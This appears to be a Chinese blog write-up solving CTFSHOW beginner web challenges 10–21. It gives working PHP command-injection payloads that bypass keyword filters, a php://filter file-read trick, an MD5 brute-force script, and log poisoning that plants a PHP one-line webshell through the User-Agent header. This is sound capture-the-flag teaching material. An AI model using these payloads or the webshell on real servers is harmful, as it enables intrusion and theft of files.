首页 > 其他分享 >CTFSHOW 萌新web10-21

CTFSHOW 萌新web10-21

时间:2023-04-13 21:36:49浏览次数:40  
标签:passthru web10 过滤 CTFSHOW 萌新 日志 php config payload

ctfshow 萌新web10-21

web10

image-20221123153416277

题目提示flag在congfig.php中

php中作为执行系统命令的函数:

system()
passthru()
exec()
shell_exec()
popen()
proc_open()
pcntl_exec()

源码中过滤了 system,exec,highlight 这三个常用的PHP命令执行函数,绕过过滤条件就可以使用 eval() 函数执行PHP代码了,我们使用其他的命令执行函数即可,这里使用 passthru()函数即可

payload: ?c=passthru('cat config.php');

显示页面为空格,查看网页源代码得flag

web11

image-20221123154308937

与web10相比,此处多过滤了cat,用more代替cat即可

payload: ?c=passthru('more config.php');

显示页面为空格,查看网页源代码得flag

web12

image-20221123160328443

由提示flag在config.php中,但是config.php被过滤,抓取文件内容的cat也被过滤

利用其它方法绕过过滤,命令执行函数passthru未被过滤可利用

cat可用tac或more(需要多一步查看网页源代码)替代

解法一:

config.php可先base64编码再解码方式绕过

payload: ?c=$a=base64_decode('Y29uZmlnLnBocA==');passthru("tac $a");

注意:这里函数内部要用双引号,如果是单引号,php语言无法处理达到你的目的

因为在php语言中单引号串和双引号串的处理是不同的。双引号串中的内容可以被解释而且替换,而单引号串中的内容总被认为是普通字符。也就是说,如果这里用了单引号的话,php会认为他就是一个普通的变量c,无法解释出系统命令cat的功能。

解法二:

通配符绕过

payload:

?c=passthru('tac ??????????');
?c=passthru('tac c*');
?c=passthru('tac *');

web13

image-20221123163951889

新增;被过滤 可用?>代替绕过

解法一:

payload: ?c=passthru('tac *')?>

解法二:

passthru("ca''t `ls`")?>

Linux中,`` 作用是优先执行里面的内容,再把里面的内容传给外面的语句

web14

image-20221130161200679

用include函数和伪协议构成Payload

include$_GET[a]?>&a=php://filter/read=convert.base64-encode/resource=config.php

(用?>代替;只能执行一次代码)

得到一段base64编码

image-20221130161559665

解码得到flag

web15

image-20221130161959330

与web14相比?>被过滤,但是;被放出来了,将web14中payload?>改为;即可

include$_GET[a];&a=php://filter/read=convert.base64-encode/resource=config.php

web16

image-20221130162606260

由涉及md5比较

利用脚本爆破

import hashlib
#建立爆破的字典str
str='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890+-*/'
#从一个字符开始尝试,逐渐往下加
for i in str:
    for j in str :
        for k in str:
            s=hashlib.md5(('ctfshow'+i+j+k).encode()).hexdigest()
            #让ctfshow和字符i,j,k拼接在一起,转化为MD5值,hexdigest函数实现字符存储
            if s== 'a6f57ae38a22448c2f07f3f95f49c84e':#判断值是否符合条件
                print(i+j+k)#输出字符c的值

得到c的参数值:36d

payload:

?c=36d 

web17

image-20221130163806124

c传参过滤掉php
思路:include文件包含,利用日志文件包含

访问日志文件:
?c=/var/log/nginx/access.log

image-20221130170707224

发现日志文件记录了user-agent头,于是在该头中插入一句话木马:

<?php eval($_POST['a']);?> 

image-20221130170923371

蚂剑链接发现flag

image-20221130171213464

image-20221130170954990

web18

同web17日志包含解出

web19

同web17日志包含解出

web20

同web17日志包含解出

web21

同web17日志包含解出

标签:passthru,web10,过滤,CTFSHOW,萌新,日志,php,config,payload
From: https://www.cnblogs.com/ikn0w1T/p/17316462.html

相关文章

  • ctfshow web入门 sql注入 171-175
    171-175同属无过滤绕过(并未对sql语句过滤,仅对查询结果过滤)重点:1、了解万能密码2、了解sql语句中字符串函数3、了解备份功能(导入/导出数据)4、蚁剑如何连接数据库web171$sql="selectusername,passwordfromuserwhereusername!='flag'andid=......
  • ctfshow-web4(Nginx日志写shell)
    这是一道有关Nginx日志文件写入shell的题目。  一、基础知识/etc/nginx/nginx.conf:该文件是Ngnix的配置的文件,该文件保存着能够影响服务器运行的配置信息。有时会泄露敏感信息。该文件支持php解析。/var/log/nginx/access.log:该文件是Ngnix的访问日志文件,Ngnix会把每个......
  • CTF 萌新隐写(1)
    题目一描述喜欢用生日做密码。有一个zip文件。思路及解答生日做密码,生日格式有很多种,最简单的是纯数字,八位数字直接爆破。得到口令:19981000打开文件得出flag:flag{brute_force}题目一描述只有一个zip文件思路及解答解压后是一个word文档,打开文档发现是然后什么也没有......
  • ctfshow web入门 文件上传 web151-160
    web151经典前端绕过web152简单后端绕过从web153开始,需使用.user.ini从web154开始,对文件内容进行黑名单过滤每个关卡会累计前面关卡的限制重点:了解前后端......
  • ctfshow-给她
    萌新赛-给她信息收集进去是一个SQL语句展示,emmm,那就写几句SQL注入看看,抓包,用字典FUZZ,一个没出,发现单引号都被转义了,猜测后台是有一个addslashes函数,那么我们可以联想到sp......
  • RealWorldCTF渗透赛第二期复现-ctfshow
    比赛概述开始时间:2023年3月10日15时环境保留时间:72小时环境重置时间:20分钟官方wp链接:Docs(feishu.cn)【本次复现跟着官方WP进行,只做记录学习之用】0x1目标资产......
  • ctfshow 1000题记录
    RCE-Web32<?phperror_reporting(0);if(isset($_GET['c'])){$c=$_GET['c'];if(!preg_match("/flag|system|php|cat|sort|shell|\.||\'|\`|echo|\;|\(/i",......
  • ctfshow web入门 命令执行 特征及绕过技巧
    远程命令执行(RemoteCommandExecution,RCE)原理命令执行漏洞是指服务器没有对执行的命令进行过滤,用户可以随意执行系统命令,命令执行漏洞属于高危漏洞之一。危险函数......
  • Terraform 新手村指南,萌新必读!
    基础设施即代码(IaC)是指使用代码和软件开发技术来配置和管理基础设施的实践。IaC背后的逻辑是尽量消除手动配置基础设施和资源的需求,比如服务器、负载均衡以及数据库等。由......
  • ctfshow web入门 php特性 96-99
    96-99均采用弱比较的方式获取flag重点了解md5弱类型比较与强类型了解if语句简写了解in_array()缺点web96highlight_file(__FILE__);if(isset(......